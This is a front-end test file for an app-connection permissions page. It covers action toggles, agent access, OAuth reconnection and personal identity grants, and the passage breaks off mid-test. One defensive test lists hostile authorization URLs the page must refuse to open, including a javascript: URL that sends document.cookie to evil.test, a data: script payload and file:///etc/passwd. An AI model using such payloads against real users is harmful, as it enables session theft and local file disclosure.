])("renders the %s tab panel", async (tab, expectedText) => {
mockParams.tab = tab;
await renderAppDetail();
expect(container.textContent).toContain("GitHub");
expect(container.textContent).toContain("2 actions available");
expect(container.textContent).toContain(expectedText);
expect(container.textContent).not.toContain("Setup");
expect(container.querySelector("section.bg-card")).toBeNull();
});
it("counts only active catalog entries as available actions", async () => {
mockParams.tab = "permissions";
listCatalogMock.mockResolvedValue({
catalog: [
catalogEntry(),
catalogEntry({ id: "catalog-disabled", toolName: "disabled_action", status: "disabled" }),
catalogEntry({ id: "catalog-quarantined", toolName: "pending_action", status: "quarantined" }),
catalogEntry({ id: "catalog-removed", toolName: "removed_action", status: "removed" }),
],
});
await renderAppDetail();
expect(container.textContent).toContain("1 action available");
expect(container.textContent).not.toContain("2 actions available");
});
it.each(["setup", "advanced"])("redirects the retired %s route to Permissions", async (tab) => {
mockParams.tab = tab;
await renderAppDetail();
expect(navigateComponentMock).toHaveBeenCalledWith({
to: "/apps/conn-1/permissions",
replace: true,
});
});
it("shows an explicit lazy-loading state while a tool tab discovers actions", async () => {
mockParams.tab = "permissions";
listCatalogMock.mockImplementation(() => new Promise(() => undefined));
await renderAppDetail();
expect(container.textContent).toContain("GitHub");
expect(container.textContent).toContain("Loading tools…");
expect(container.textContent).not.toContain("Action permissions");
});
it("redirects the retired Test tab into Permissions", async () => {
mockParams.tab = "test";
await renderAppDetail();
expect(navigateComponentMock).toHaveBeenCalledWith({ to: "/apps/conn-1/permissions", replace: true });
});
it("confirms a successful connection on Permissions and clears the one-time URL flag", async () => {
mockParams.tab = "permissions";
mockSearchParams.value = new URLSearchParams("success=1");
await renderAppDetail();
expect(pushToastMock).toHaveBeenCalledWith({
title: "GitHub connected",
body: "The connection is ready. Review permissions or test an action below.",
tone: "success",
});
expect(mockNavigate).toHaveBeenCalledWith("/apps/conn-1/permissions", { replace: true });
});
it.each([
["company-1", "github", "active", true],
["other-company", "github", "active", false],
["company-1", "notion", "active", false],
["company-1", "github", "pending", false],
])("resumes a skill import only for its company's active GitHub callback (%s, %s, %s)", async (companyId, provider, status, returns) => {
rememberSkillSourceReturn("company-1", "new");
mockSearchParams.value = new URLSearchParams("success=1");
getConnectionMock.mockResolvedValue(connection({ companyId, status, config: { sourceTemplateKey: provider } }));
await renderAppDetail();
expect(mockNavigate).toHaveBeenCalledWith(returns ? "/skills/sources/new" : "/apps/conn-1/permissions", { replace: true });
expect(skillSourceReturnPath("company-1")).toBe(returns ? null : "/skills/sources/new");
});
it("normalizes the retired post-OAuth Setup URL into Permissions", async () => {
mockParams.tab = "setup";
mockSearchParams.value = new URLSearchParams("oauth=choose-access");
getConnectionMock.mockResolvedValue(connection({
name: "Notion",
authKind: "oauth",
credentialPolicy: "per_user",
config: { sourceTemplateKey: "notion" },
}));
await renderAppDetail();
expect(navigateComponentMock).toHaveBeenCalledWith({
to: "/apps/conn-1/permissions?oauth=choose-access",
replace: true,
});
expect(finalizeOAuthAccessMock).not.toHaveBeenCalled();
});
it("reviews quarantined actions as one toggle list and saves allowed and blocked choices together", async () => {
mockParams.tab = "review";
listCatalogMock.mockResolvedValue({
catalog: [
catalogEntry(),
catalogEntry({
id: "catalog-write",
toolName: "write_issue",
title: "Write issue",
isReadOnly: false,
}),
catalogEntry({
id: "catalog-quarantined-allow",
toolName: "delete_repo",
title: "Delete repo",
status: "quarantined",
isReadOnly: false,
}),
catalogEntry({
id: "catalog-quarantined-block",
toolName: "archive_repo",
title: "Archive repo",
status: "quarantined",
isReadOnly: false,
}),
],
});
await renderAppDetail();
expect(container.textContent).toContain("Review 2 new actions");
expect(container.textContent).toContain("Delete repo");
expect(container.textContent).toContain("Archive repo");
expect(container.textContent).not.toContain("Nothing is waiting for your OK right now.");
const allowToggle = container.querySelector<HTMLButtonElement>(
'button[role="switch"][aria-label="Delete repo allowed"]',
);
expect(allowToggle?.getAttribute("aria-checked")).toBe("false");
await act(async () => {
allowToggle?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
await act(async () => {
Array.from(container.querySelectorAll("button"))
.find((button) => button.textContent?.trim() === "Save choices")
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
expect(finishAppMock).toHaveBeenCalledWith("company-1", "conn-1", {
enabledCatalogEntryIds: expect.arrayContaining([
"catalog-read",
"catalog-write",
"catalog-quarantined-allow",
]),
askFirstCatalogEntryIds: ["catalog-write"],
reviewedCatalogEntryIds: expect.arrayContaining([
"catalog-quarantined-allow",
"catalog-quarantined-block",
]),
access: "all_agents",
});
const finishInput = finishAppMock.mock.calls.at(-1)?.[2] as { enabledCatalogEntryIds: string[] };
expect(finishInput.enabledCatalogEntryIds).not.toContain("catalog-quarantined-block");
});
it("shows the Smoke OAuth connection action for the installed HTTP fixture", async () => {
getConnectionMock.mockResolvedValue(connection({
name: "Smoke Lab HTTP MCP fixture",
config: {
smokeLabFixture: "oauth-http",
oauth: {
provider: "smoke_lab",
smokeLabFixture: true,
scopes: ["smoke:openid"],
},
},
}));
await renderAppDetail();
// The old generic "Connect with <provider>" block is gone: the connection's
// fixed identity type is explicit even before that identity is connected.
expect(container.textContent).toContain("Which humans can use this credential?");
expect(container.textContent).toContain("Anyone in your company can use this connection");
expect(container.textContent).toContain("Organization identity");
expect(container.textContent).toContain("Not connected");
expect(
Array.from(container.querySelectorAll("button")).some(
(button) => button.textContent?.trim() === "Connect organization identity",
),
).toBe(true);
});
it("keeps reconnect off a healthy Notion permissions page", async () => {
getConnectionMock.mockResolvedValue(connection({
name: "Notion",
createdByUserId: "user-1",
config: {
sourceTemplateKey: "notion",
oauth: {
provider: "notion",
connectedAt: "2026-08-06T20:00:00.000Z",
},
},
}));
listGalleryMock.mockResolvedValue({
apps: [{
key: "notion",
name: "Notion",
logoUrl: "https://example.com/notion.png",
tagline: "Search and update your Notion workspace.",
description: "Give agents governed access to Notion.",
authKind: "oauth",
transportTemplate: { transport: "mcp_remote", url: "https://mcp.notion.com/mcp" },
credentialFields: [],
recommendedDefaults: {},
urlPatterns: [],
}],
});
listUserDirectoryMock.mockResolvedValue({
users: [{
principalId: "user-1",
status: "active",
user: {
id: "user-1",
name: "Dotta",
email: "dotta@example.com",
image: "https://example.com/dotta.png",
},
}],
});
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-1" },
grants: [organizationGrant()],
capabilities: fullCapabilities(),
currentUserId: "user-1",
members: [],
});
await renderAppDetail();
expect(container.textContent).toContain("Dotta’s Notion");
expect(container.textContent).not.toContain("Connected by");
expect(container.textContent).toContain("Anyone in your company can use this connection");
expect(container.textContent).not.toContain("workspace authorization");
expect(findButton("Reconnect")).toBeUndefined();
expect(findButton("Danger zone")).toBeUndefined();
});
it("renders searchable action groups with three-way permission toggles", async () => {
mockParams.tab = "permissions";
await renderAppDetail();
expect(container.textContent).toContain("Which agents can use this connection?");
expect(container.textContent).not.toContain("Always installed");
expect(putConnectionInstallsMock).not.toHaveBeenCalled();
expect(container.textContent).toContain("Read (1)");
expect(container.textContent).toContain("Write (1)");
expect(container.textContent).toContain("Read repo");
expect(container.textContent).toContain("Write issue");
expect(container.textContent).toContain("Review 1 new action");
expect(container.querySelector<HTMLInputElement>('input[aria-label="Find an action"]')).toBeTruthy();
expect(container.querySelector('button[aria-label="Read repo: Allowed"]')?.getAttribute("aria-checked")).toBe("true");
expect(container.querySelector('button[aria-label="Write issue: Ask first"]')?.getAttribute("aria-checked")).toBe("true");
expect(Array.from(container.querySelectorAll("button")).filter((button) => button.textContent?.trim() === "Test")).toHaveLength(2);
expect(container.textContent).not.toContain("Views data without changing it.");
expect(container.textContent).not.toContain("Creates or changes data.");
expect(container.querySelector("section.bg-card")).toBeNull();
});
it("opens an action test modal with agent selection, inputs, and result-ready chrome", async () => {
mockParams.tab = "permissions";
listTestAgentsMock.mockResolvedValue({
agents: [{
id: "agent-1",
name: "Coder",
role: "engineer",
title: "Engineer",
status: "active",
orgDepth: 1,
}],
});
getTestAgentAccessMock.mockResolvedValue({
access: {
connectionId: "conn-1",
toolCount: 2,
allowedCount: 1,
askFirstCount: 1,
offCount: 0,
lastChangedAt: null,
lastChangedByAgentId: null,
lastChangedByName: null,
tools: [
{
toolName: "read_repo",
gatewayToolName: "github__read_repo",
displayName: "Read repo",
risk: "read",
decision: "allowed",
reasonCode: null,
matchedPolicyIds: [],
},
],
},
});
await renderAppDetail();
const testButton = Array.from(container.querySelectorAll("button"))
.find((button) => button.textContent?.trim() === "Test");
await act(async () => {
testButton?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
const dialog = document.body.querySelector('[role="dialog"]');
expect(dialog?.textContent).toContain("Test Read repo");
expect(dialog?.textContent).toContain("Act as");
expect(dialog?.textContent).toContain("Coder");
expect(dialog?.textContent).toContain("This action takes no inputs.");
expect(dialog?.textContent).toContain("Run");
});
it("persists ask-first for read-only actions from the three-way toggle", async () => {
mockParams.tab = "permissions";
await renderAppDetail();
const askFirst = container.querySelector<HTMLButtonElement>('button[aria-label="Read repo: Ask first"]');
expect(askFirst).toBeTruthy();
await act(async () => {
askFirst!.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
expect(finishAppMock).toHaveBeenCalledWith("company-1", "conn-1", {
enabledCatalogEntryIds: expect.arrayContaining(["catalog-read", "catalog-write"]),
askFirstCatalogEntryIds: expect.arrayContaining(["catalog-read", "catalog-write"]),
access: "all_agents",
});
});
it("persists off by removing an action from enabled and ask-first sets", async () => {
mockParams.tab = "permissions";
await renderAppDetail();
const off = container.querySelector<HTMLButtonElement>('button[aria-label="Write issue: Off"]');
expect(off).toBeTruthy();
await act(async () => {
off!.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
expect(finishAppMock).toHaveBeenCalledWith("company-1", "conn-1", {
enabledCatalogEntryIds: ["catalog-read"],
askFirstCatalogEntryIds: [],
access: "all_agents",
});
});
it("fetches the connection configuration under a distinct child of the profiles cache", async () => {
await renderAppDetail();
expect(listConnectionProfileConfigurationMock).toHaveBeenCalledWith("conn-1");
expect(queryKeys.tools.connectionProfileConfiguration("company-1", "conn-1").slice(0, 3))
.toEqual(queryKeys.tools.profiles("company-1"));
expect(queryKeys.tools.connectionProfileConfiguration("company-1", "conn-1"))
.not.toEqual(queryKeys.tools.connectionProfileConfiguration("company-1", "conn-2"));
});
it("shows and removes task-granted access without changing the connection's default permissions", async () => {
const grant = {
id: "task-grant", status: "active", profileKey: "connection-intent:conn-1:agent-1",
metadata: { source: "connection_intent", connectionId: "conn-1", agentId: "agent-1" },
bindings: [{ targetType: "agent", targetId: "agent-1" }],
entries: [{ effect: "include", catalogEntryId: "catalog-write" }],
};
listConnectionProfileConfigurationMock.mockResolvedValue({ profiles: [grant] });
listPoliciesMock.mockResolvedValue({ policies: [{
enabled: true, policyType: "require_approval",
selectors: { catalogEntryId: "catalog-write" },
config: { source: "connection_intent", connectionId: "conn-1", agentId: "agent-1" },
}] });
await renderAppDetail();
const section = Array.from(container.querySelectorAll("section")).find(section => section.textContent?.includes("Additional agent access"))!;
expect(section.textContent).toContain("Write issue");
expect(section.textContent).toContain("Ask first");
listConnectionProfileConfigurationMock.mockResolvedValue({ profiles: [] });
await act(async () => section.querySelector("button")!.click());
await flushReact();
expect(deleteProfileMock).toHaveBeenCalledWith("task-grant");
expect(container.textContent).not.toContain("Additional agent access");
expect(finishAppMock).not.toHaveBeenCalled();
expect(putConnectionInstallsMock).not.toHaveBeenCalled();
});
it("keeps the task grant visible when removal fails", async () => {
listConnectionProfileConfigurationMock.mockResolvedValue({ profiles: [{
id: "task-grant", status: "active", profileKey: "connection-intent:conn-1:agent-1",
metadata: { source: "connection_intent", connectionId: "conn-1", agentId: "agent-1" },
bindings: [{ targetType: "agent", targetId: "agent-1" }],
entries: [{ effect: "include", catalogEntryId: "catalog-read" }],
}] });
deleteProfileMock.mockRejectedValue(new Error("Connection access changed. Reload and try again."));
await renderAppDetail();
const button = Array.from(container.querySelectorAll("button")).find(button => button.textContent === "Remove grant")!;
await act(async () => button.click());
await flushReact();
expect(container.querySelector('[role="alert"]')?.textContent).toContain("Connection access changed");
expect(button.disabled).toBe(false);
});
it("persists agent access independently from always-installed agents", async () => {
mockParams.tab = "permissions";
listConnectionProfileConfigurationMock.mockResolvedValue({
profiles: [{
profileKey: "app:conn-1",
entries: [
{ effect: "include", catalogEntryId: "catalog-read" },
{ effect: "include", catalogEntryId: "catalog-write" },
],
bindings: [{ targetType: "agent", targetId: "agent-1" }],
}],
});
await renderAppDetail();
const accessGroup = container.querySelector('[role="radiogroup"][aria-label="Which agents can use this connection"]');
const anyAgent = Array.from(accessGroup?.querySelectorAll('[role="radio"]') ?? [])
.find((radio) => radio.textContent?.includes("Any agent"));
expect(anyAgent).toBeTruthy();
await act(async () => {
anyAgent?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
expect(finishAppMock).toHaveBeenCalledWith("company-1", "conn-1", {
enabledCatalogEntryIds: ["catalog-read", "catalog-write"],
askFirstCatalogEntryIds: ["catalog-write"],
access: "all_agents",
});
expect(putConnectionInstallsMock).not.toHaveBeenCalled();
});
it("keeps always-installed agents in the access allowlist", async () => {
mockParams.tab = "permissions";
getConnectionInstallsMock.mockResolvedValue({
connectionId: "conn-1",
installs: [{
id: "install-agent-1",
companyId: "company-1",
connectionId: "conn-1",
targetType: "agent",
targetId: "agent-1",
createdByAgentId: null,
createdByUserId: "user-1",
createdAt: new Date(),
}],
});
await renderAppDetail();
const accessGroup = container.querySelector('[role="radiogroup"][aria-label="Which agents can use this connection"]');
const pickedAgents = Array.from(accessGroup?.querySelectorAll('[role="radio"]') ?? [])
.find((radio) => radio.textContent?.includes("Just agents I pick"));
await act(async () => {
pickedAgents?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
expect(finishAppMock).toHaveBeenCalledWith("company-1", "conn-1", {
enabledCatalogEntryIds: ["catalog-read", "catalog-write"],
askFirstCatalogEntryIds: ["catalog-write"],
access: { agentIds: ["agent-1"] },
});
});
it("uses the setup-style agent access question without install terminology", async () => {
mockParams.tab = "permissions";
listConnectionProfileConfigurationMock.mockResolvedValue({
profiles: [{
profileKey: "app:conn-1",
entries: [
{ effect: "include", catalogEntryId: "catalog-read" },
{ effect: "include", catalogEntryId: "catalog-write" },
],
bindings: [{ targetType: "agent", targetId: "agent-1" }],
}],
});
await renderAppDetail();
expect(container.textContent).toContain("Which agents can use this connection?");
expect(container.textContent).toContain("Just agents I pick");
expect(container.textContent).toContain("Any agent");
expect(container.textContent).not.toContain("Always installed");
expect(container.querySelector('button[aria-label="Remove Coder access"]')).toBeNull();
expect(
Array.from(container.querySelectorAll("button")).filter(
(button) => button.textContent?.trim() === "Change",
),
).toHaveLength(0);
});
/**
* Viewer rule D4: a policy-forbidden action is omitted, not disabled. The
* viewer still sees the whole state — which agents have it, what each action
* is allowed to do — with nothing to press.
*/
it("gives a viewer a read-only Permissions tab with no mutation affordances", async () => {
mockParams.tab = "permissions";
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-uid-1" },
grants: [],
currentUserId: "user-1",
members: [],
capabilities: fullCapabilities({
canConfigure: false,
canManageAgentInstalls: false,
canSetCompanyInstall: false,
canConnectAsCurrentUser: false,
editableAgentIds: [],
}),
});
await renderAppDetail();
// State is still legible.
expect(container.textContent).toContain("Which agents can use this connection?");
expect(container.textContent).toContain("Actions");
expect(container.textContent).toContain("Read repo");
// Nothing to mutate: no radios, no permission selects, no refresh, no save.
expect(container.querySelector('[role="radiogroup"][aria-label="Which agents can use this connection"]')).toBeNull();
expect(container.querySelector('[role="radiogroup"][aria-label="Read repo permission"]')).toBeNull();
expect(container.querySelectorAll("select").length).toBe(0);
const labels = Array.from(container.querySelectorAll("button")).map((b) => b.textContent?.trim());
for (const forbidden of ["Change", "Save", "Refresh actions", "Choose agents"]) {
expect(labels).not.toContain(forbidden);
}
});
it("redirects legacy connection activity to the filtered company Audit feed", async () => {
mockParams.tab = "activity";
listConnectionActivityMock.mockResolvedValue({
events: [
{
id: "evt-1",
eventType: "call_completed",
agentId: "agent-1",
issueId: "issue-1",
actionRequestId: null,
toolName: "Get value",
outcome: "success",
createdAt: new Date("2026-06-12T10:00:00Z"),
},
{
id: "evt-2",
eventType: "approval_resolved",
agentId: "agent-1",
issueId: "issue-1",
actionRequestId: "request-1",
toolName: "Mark done",
outcome: "success",
createdAt: new Date("2026-06-12T10:01:00Z"),
},
],
issues: {
"issue-1": { identifier: "PAP-10912", title: "Fix app connection copy" },
},
actionRequests: {
"request-1": {
status: "approved",
resolverDisplayName: "Dotta",
resolvedByAgentId: null,
resolvedByUserId: "board-user",
},
},
});
await renderAppDetail();
expect(navigateComponentMock).toHaveBeenCalledWith({
to: "/activity?action=tool_",
replace: true,
});
});
it("removes the per-connection activity surface", async () => {
mockParams.tab = "activity";
listConnectionActivityMock.mockResolvedValue({
events: [
{
id: "evt-1",
eventType: "call_completed",
agentId: "agent-1",
issueId: null,
actionRequestId: null,
toolName: "mcp.app-gallery-link-ccad39e8-6798a369:kv-set",
outcome: "success",
createdAt: new Date("2026-06-12T10:00:00Z"),
},
],
issues: {},
actionRequests: {},
});
await renderAppDetail();
expect(container.textContent).toBe("");
expect(navigateComponentMock).toHaveBeenCalledWith({
to: "/activity?action=tool_",
replace: true,
});
});
it("redirects lifecycle history to the same Audit destination", async () => {
mockParams.tab = "activity";
listConnectionActivityMock.mockResolvedValue({
events: [
{
id: "evt-1",
eventType: "call_completed",
agentId: "agent-1",
issueId: null,
actionRequestId: null,
toolName: "Get value",
outcome: "success",
createdAt: new Date("2026-06-12T10:30:00Z"),
},
],
lifecycleEvents: [
{
id: "life-connected",
connectionId: "conn-1",
type: "app_connected",
actorType: "user",
actorId: "board-user",
agentId: null,
actorDisplayName: "Dotta",
details: null,
createdAt: new Date("2026-06-12T09:00:00Z"),
},
{
id: "life-paused",
connectionId: "conn-1",
type: "app_paused",
actorType: "user",
actorId: "board-user",
agentId: null,
actorDisplayName: "Dotta",
details: { enabled: false },
createdAt: new Date("2026-06-12T11:00:00Z"),
},
{
id: "life-allowlist",
connectionId: "conn-1",
type: "allowlist_changed",
actorType: "user",
actorId: "board-user",
agentId: null,
actorDisplayName: "Dotta",
details: { added: 1, removed: 0, total: 2 },
createdAt: new Date("2026-06-12T10:45:00Z"),
},
{
id: "life-quarantine",
connectionId: "conn-1",
type: "actions_quarantined",
actorType: "system",
actorId: null,
agentId: null,
actorDisplayName: null,
details: { count: 2 },
createdAt: new Date("2026-06-12T10:50:00Z"),
},
],
issues: {},
actionRequests: {},
});
await renderAppDetail();
expect(navigateComponentMock).toHaveBeenCalledWith({
to: "/activity?action=tool_",
replace: true,
});
});
it("keeps the header and reconnect banner across tabs", async () => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(connection({
healthStatus: "degraded",
healthMessage: "Token expired.",
}));
await renderAppDetail();
expect(container.textContent).toContain("GitHub");
expect(container.textContent).toContain("Needs attention");
expect(container.textContent).toContain("This app needs reconnecting");
expect(container.textContent).toContain("Token expired.");
expect(container.textContent).toContain("Which agents can use this connection?");
});
it.each([
{ name: "remote.url", placement: "url", key: "url", prefix: null, label: "MCP server URL", value: "https://example.com/mcp?token=fresh", path: "remote.url" },
{ name: "headers.X-Api-Key", placement: "header", key: "X-Api-Key", prefix: null, label: "X-Api-Key", value: "fresh-key", path: "headers.X-Api-Key" },
{ name: "authorization", placement: "header", key: "Authorization", prefix: "Bearer ", label: "App key", value: "fresh-token", path: "credentials.authorization" },
])("reconnects a generic $label using its stored credential placement", async (fixture) => {
listGalleryMock.mockResolvedValue({ apps: [] });
listApplicationsMock.mockResolvedValue({ applications: [] });
getConnectionMock.mockResolvedValue(connection({
authKind: "api_key",
healthStatus: "missing_secret",
credentialRefs: [{ ...fixture, secretId: "old-secret", version: "latest" }],
}));
reconnectConnectionMock.mockResolvedValue({ connection: connection({ healthStatus: "ok" }) });
await renderAppDetail();
const field = container.querySelector<HTMLInputElement>(`input[aria-label="${fixture.label}"]`);
expect(field).not.toBeNull();
await act(() => setInputValue(field!, fixture.value));
await act(() => findButton("Check & reconnect")!.click());
await flushReact();
expect(reconnectConnectionMock).toHaveBeenCalledWith("conn-1", { [fixture.path]: fixture.value });
expect(pushToastMock).toHaveBeenCalledWith(expect.objectContaining({ title: "Reconnected" }));
});
it.each(["permissions", "review"])("offers a supported replacement for an obsolete Anthropic connection on %s", async (tab) => {
mockParams.tab = tab;
listApplicationsMock.mockResolvedValue({ applications: [] });
listGalleryMock.mockResolvedValue({ apps: [getAppStoreDefinition("anthropic")!] });
getConnectionMock.mockResolvedValue(connection({
name: "Anthropic",
transport: "rest_api",
authKind: "api_key",
config: { sourceTemplateKey: "anthropic", connectionMethodKey: "api-key" },
healthStatus: "error",
healthMessage: "This connection has no supported tool integration.",
}));
await renderAppDetail();
expect(container.querySelector('input[type="password"]')).toBeNull();
expect(findButton("Check & reconnect")).toBeUndefined();
expect(findButton("Reconnect")).toBeUndefined();
expect(container.textContent).toContain("Connection no longer supported");
expect(container.textContent).toContain("then remove this connection");
expect(container.querySelector('a[href="/apps/connect?source=anthropic"]')?.textContent)
.toBe("Add supported connection");
});
it("offers retry for a transient GitHub error without asking for another login", async () => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(connection({
authKind: "oauth", healthStatus: "error", requiresReauthorization: false,
healthMessage: "GitHub access changed during refresh. Try again.",
}));
await renderAppDetail();
expect(container.textContent).toContain("Retry access");
expect(container.textContent).not.toContain("Reconnect required");
});
it("links a failed GitHub refresh to the suspended installation's settings", async () => {
mockParams.tab = "permissions";
const message = "The Paperclip GitHub installation is suspended. Unsuspend it on GitHub before refreshing access.";
getConnectionMock.mockResolvedValue(connection({
authKind: "oauth", healthStatus: "error", requiresReauthorization: false, healthMessage: message,
}));
checkConnectionHealthMock.mockRejectedValue(new ApiError(message, 422, {
error: message,
code: "github_installation_required",
details: {
code: "github_installation_required",
managementUrl: "https://github.com/organizations/paperclipai/settings/installations/101",
},
}));
const client = await renderAppDetail();
await act(async () => {
Array.from(container.querySelectorAll("button"))
.find((button) => button.textContent?.trim() === "Retry access")
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
expect(checkConnectionHealthMock).toHaveBeenCalledWith("conn-1");
expect(container.querySelector('a[href="https://github.com/organizations/paperclipai/settings/installations/101"]')?.textContent)
.toBe("Open installation settings on GitHub");
// An already-cached connection that also needs attention must not inherit that link.
const other = connection({
id: "conn-2", authKind: "oauth", healthStatus: "error", requiresReauthorization: false, healthMessage: message,
});
getConnectionMock.mockResolvedValue(other);
client.setQueryData(queryKeys.tools.connection("conn-2"), other);
mockParams.connectionId = "conn-2";
await act(async () => {
root.render(
<QueryClientProvider client={client}>
<AppDetail />
</QueryClientProvider>,
);
});
await flushReact();
expect(container.textContent).toContain("Retry access");
expect(container.querySelector('a[href="https://github.com/organizations/paperclipai/settings/installations/101"]')).toBeNull();
});
it("shows terminal OAuth failures as reconnect-required sign-in", async () => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(connection({
authKind: "oauth",
healthStatus: "failed",
healthMessage: "Authorization expired (invalid_grant).",
}));
await renderAppDetail();
expect(container.textContent).toContain("Reconnect required");
expect(container.textContent).toContain("Authorization expired (invalid_grant).");
expect(container.querySelector('input[placeholder="Paste your new key"]')).toBeNull();
await act(async () => {
Array.from(container.querySelectorAll("button"))
.find((button) => button.textContent?.trim() === "Reconnect")
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
expect(startOAuthMock).toHaveBeenCalledWith("conn-1");
expect(navigateTopLevelMock).toHaveBeenCalledWith("https://example.test/oauth");
});
it("reconnects an OAuth warning through the connection's existing personal identity", async () => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(connection({
authKind: "oauth",
credentialPolicy: "per_user",
createdByUserId: "user-1",
healthStatus: "failed",
healthMessage: "Authorization expired (invalid_grant).",
}));
await renderAppDetail();
await act(async () => {
Array.from(container.querySelectorAll("button"))
.find((button) => button.textContent?.trim() === "Reconnect")
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
expect(startOAuthMock).toHaveBeenCalledWith("conn-1", { asCurrentUser: true });
expect(navigateTopLevelMock).toHaveBeenCalledWith("https://example.test/oauth");
});
it("does not offer a personal reconnect to someone other than its fixed owner", async () => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(connection({
authKind: "oauth",
credentialPolicy: "per_user",
createdByUserId: "user-2",
healthStatus: "failed",
healthMessage: "Authorization expired (invalid_grant).",
}));
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-1" },
grants: [personalGrant({ id: "grant-other", subjectUserId: "user-2" })],
capabilities: fullCapabilities({ canViewOtherPersonalIdentities: true }),
currentUserId: "user-1",
members: [{ userId: "user-2", name: "Carol", email: "carol@example.com" }],
});
await renderAppDetail();
expect(container.textContent).toContain("Reconnect required");
expect(container.textContent).toContain("The person this connection belongs to must reconnect it.");
expect(findButton("Reconnect")).toBeUndefined();
expect(startOAuthMock).not.toHaveBeenCalled();
});
it("does not offer personal key replacement to someone other than its fixed owner", async () => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(connection({
authKind: "api_key",
credentialPolicy: "per_user",
createdByUserId: "user-2",
healthStatus: "failed",
healthMessage: "The key was rejected.",
}));
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-1" },
grants: [personalGrant({ id: "grant-other", subjectUserId: "user-2" })],
capabilities: fullCapabilities({ canViewOtherPersonalIdentities: true }),
currentUserId: "user-1",
members: [{ userId: "user-2", name: "Carol", email: "carol@example.com" }],
});
await renderAppDetail();
expect(container.textContent).toContain("This app needs reconnecting");
expect(container.textContent).toContain("The person this connection belongs to must reconnect it.");
expect(Array.from(container.querySelectorAll("button")).filter(
(button) => button.textContent?.trim() === "Reconnect",
)).toHaveLength(0);
});
/**
* PAP-17099 — the server refuses to hand out an unsafe authorization endpoint,
* but this is the boundary where one would actually execute, so the board must
* refuse it independently of what the response body says.
*/
it.each([
["javascript:", "javascript:fetch('https://evil.test/'+document.cookie)"],
["data:", "data:text/html,<script>alert(document.domain)</script>"],
["file:", "file:///etc/passwd"],
["plaintext http", "http://evil.test/authorize"],
["credentials", "https://accounts.example.test@evil.test/authorize"],
])("never navigates to a %s authorization url", async (_label, authorizationUrl) => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(connection({
authKind: "oauth",
healthStatus: "failed",
healthMessage: "Authorization expired (invalid_grant).",
}));
startOAuthMock.mockResolvedValue({
connectionId: "conn-1",
provider: "generic",
authorizationUrl,
expiresAt: "2026-07-10T00:00:00.000Z",
});
await renderAppDetail();
await act(async () => {
Array.from(container.querySelectorAll("button"))
.find((button) => button.textContent?.trim() === "Reconnect")
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
expect(navigateTopLevelMock).not.toHaveBeenCalled();
expect(pushToastMock).toHaveBeenCalledWith(expect.objectContaining({ tone: "error" }));
// The refusal explains itself without echoing the hostile URL back into the DOM.
const body = String(pushToastMock.mock.calls.at(-1)?.[0]?.body ?? "");
expect(body.length).toBeGreaterThan(0);
expect(body).not.toContain(authorizationUrl);
});
// -------------------------------------------------------------------------
// Personal connection identity (PAP-17835). These cover the permission
// matrix in the accepted design: a member self-serving, manager oversight,
// a read-only viewer, and the audience editor's two scopes.
// -------------------------------------------------------------------------
function perUserConnection(overrides: Record<string, unknown> = {}) {
return connection({ credentialPolicy: "per_user", authKind: "oauth", ...overrides });
}
function findButton(label: string) {
return Array.from(container.querySelectorAll("button"))
.find((button) => button.textContent?.trim() === label);
}
it("does not label a revoked AI credential as Connected", async () => {
getConnectionMock.mockResolvedValue(connection({ connectionPurpose: "ai", transport: "runtime_auth", healthStatus: "ok", config: { provider: "openai", method: "api_key" } }));
listConnectionGrantsMock.mockResolvedValue({ connection: { id: "conn-1" }, grants: [organizationGrant({ status: "revoked" })], capabilities: fullCapabilities(), currentUserId: "user-1", members: [] });
await renderAppDetail();
expect(container.textContent).toContain("Revoked");
expect(container.textContent).not.toContain("Connected");
});
it("keeps the app header concise on every tab", async () => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(perUserConnection());
await renderAppDetail();
expect(container.textContent).toContain("Connected");
expect(container.textContent).not.toContain("This connection is for one person.");
expect(container.textContent).not.toContain("Connected by");
});
it("lets a regular member connect their own identity and never someone else's", async () => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(perUserConnection());
startPersonalAuthorizationMock.mockResolvedValue({ url: "https://accounts.example.test/authorize" });
await renderAppDetail();
// Missing personal identity is explicit, never a silent fallback.
expect(container.textContent).toContain("Which humans can use this credential?");
expect(container.textContent).toContain("Only you can use this connection");
expect(container.textContent).toContain("Personal account");
expect(container.textContent).toContain("Not connected");
expect(container.textContent).not.toContain("Organization identity");
expect(findButton("Connect organization identity")).toBeUndefined();
await act(async () => {
findButton("Connect as me")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
// The subject is the signed-in user, so there is no path here to start
// consent on a coworker's behalf.
expect(startPersonalAuthorizationMock).toHaveBeenCalledWith("company-1", "conn-1", {
subjectUserId: "user-1",
returnTo: "/apps/conn-1/permissions",
});
expect(navigateTopLevelMock).toHaveBeenCalledWith("https://accounts.example.test/authorize");
});
it("keeps personal managed authorization in the tenant until the provider is ready", async () => {
const session = "personal_background_session_1234";
const request = vi.spyOn(globalThis, "fetch").mockResolvedValue(Response.json({
